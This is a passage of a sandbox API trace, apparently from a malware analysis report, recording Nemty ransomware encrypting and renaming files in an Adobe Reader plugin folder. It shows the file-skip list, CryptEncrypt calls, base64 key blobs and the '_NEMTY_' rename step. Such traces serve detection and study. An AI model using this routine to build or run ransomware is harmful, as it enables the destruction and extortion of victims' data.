cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.KOR", lpUsedDefaultChar=0x0) returned 13 [0191.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.KOR", lpUsedDefaultChar=0x0) returned 13 [0191.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.KOR", lpUsedDefaultChar=0x0) returned 13 [0191.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.KOR", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.KOR", lpUsedDefaultChar=0x0) returned 13 [0191.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.384] Sleep (dwMilliseconds=0x5) [0191.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ba0a90, dwHighDateTime=0x1d561e8)) [0191.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ba0a90, dwHighDateTime=0x1d561e8)) [0191.394] GetLastError () returned 0x0 [0191.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.394] GetLastError () returned 0x0 [0191.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.395] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.395] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="t0FsPLHhPiZI/Gn+feWs2gWCFQevRsitU38Xu9akMiv5ue2k8f7treH8qh6DxFrp\r\nLZHsBuXA6ju8faBVFa2oCP+8xu30xV2gRnLWi6W1PI3DMSHa8lI2ljMQPalNet4X\r\nCGFKYn96Qge+Ru1wUS8/a01GKR2Uq+tJWdLsQdHVw/S4cGlBpLebbiJQiP+m3j3f\r\nrlGK638QpSC0O3ldcVO8iWqjtQqmz2QI/DFR/KKZJpHkxDLVTaW/LXOCnUa+EJzs\r\nOhQfRjO1e7gHI7Oe5sPUn7lmKPUd1iMcpMnHdS14fGoHFI3/5xFh5h+P8jYbJmoj\r\nWR39vZOb5x8/Qt4o6thYAw==\r\n", pcchString=0x653e29c) returned 1 [0191.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.395] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.395] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.396] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.397] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.397] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.397] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.397] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.398] CloseHandle (hObject=0x2f0) returned 1 [0191.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.398] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.kor._nemty_kgobjgd_")) returned 1 [0191.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.399] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.mpp", cAlternateFileName="QUICKT~1.MPP")) returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2=".") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="..") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="...") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="windows") returned -1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="$RECYCLE.BIN") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="rsa") returned -1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="NTDETECT.COM") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="ntldr") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="MSDOS.SYS") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="IO.SYS") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="boot.ini") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="boot.ini") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="AUTOEXEC.BAT") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="ntuser.dat") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="desktop.ini") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="CONFIG.SYS") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="RECYCLER") returned -1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="BOOTSECT.BAK") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="bootmgr") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="programdata") returned 1 [0191.399] lstrcmpiW (lpString1="QuickTime.mpp", lpString2="appdata") returned 1 [0191.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.mpp", lpUsedDefaultChar=0x0) returned 13 [0191.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.mpp", lpUsedDefaultChar=0x0) returned 13 [0191.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.mpp", lpUsedDefaultChar=0x0) returned 13 [0191.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.mpp", lpUsedDefaultChar=0x0) returned 13 [0191.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.400] Sleep (dwMilliseconds=0x5) [0191.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25bc6bf0, dwHighDateTime=0x1d561e8)) [0191.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25bc6bf0, dwHighDateTime=0x1d561e8)) [0191.410] GetLastError () returned 0x0 [0191.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.410] GetLastError () returned 0x0 [0191.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.410] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.410] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.410] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.410] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="SlLimeBH6ECoS5Y9IygPLomXqI9ZB4jC2CabjcFFzl+3Bv6mA5ytg7pftBq6rWgB\r\n7tnbfcKH0b452I/8eEdgCAtaEDDYgcwO3KSUYCgPKz+xtSkZ7niGWTOUkHGZi+MU\r\nTkOu9N4imaAl85QUWoYRN62tQFL2OLVehC9r+Yje9Xdk4Mqj+yfNpQmIOpcFQ4oK\r\n7L6QH07Vb/xCzzGC148AshsbTlJnDrMs0D5WqqG2wVSOY2inUx9pQ8+3BXedRXWM\r\nFV6Rb0swOwU/yv42xob/nNsgC9Ei0dnNT8o+EpJVXZkjGndaeupSFd7UezNLsP4D\r\nneccFd301hNR3CjFvanbng==\r\n", pcchString=0x653e29c) returned 1 [0191.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.mpp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.411] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=278528) returned 1 [0191.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0191.411] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.411] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x19000, lpOverlapped=0x0) returned 1 [0191.420] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.420] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x19000, lpOverlapped=0x0) returned 1 [0191.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.421] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=278528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x44000 [0191.421] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.422] CloseHandle (hObject=0x2f0) returned 1 [0191.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.422] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.mpp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.mpp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.mpp._nemty_kgobjgd_")) returned 1 [0191.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.423] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.NLD", cAlternateFileName="QUICKT~1.NLD")) returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2=".") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="..") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="...") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="windows") returned -1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="$RECYCLE.BIN") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="rsa") returned -1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="NTDETECT.COM") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="ntldr") returned 1 [0191.423] lstrcmpiW 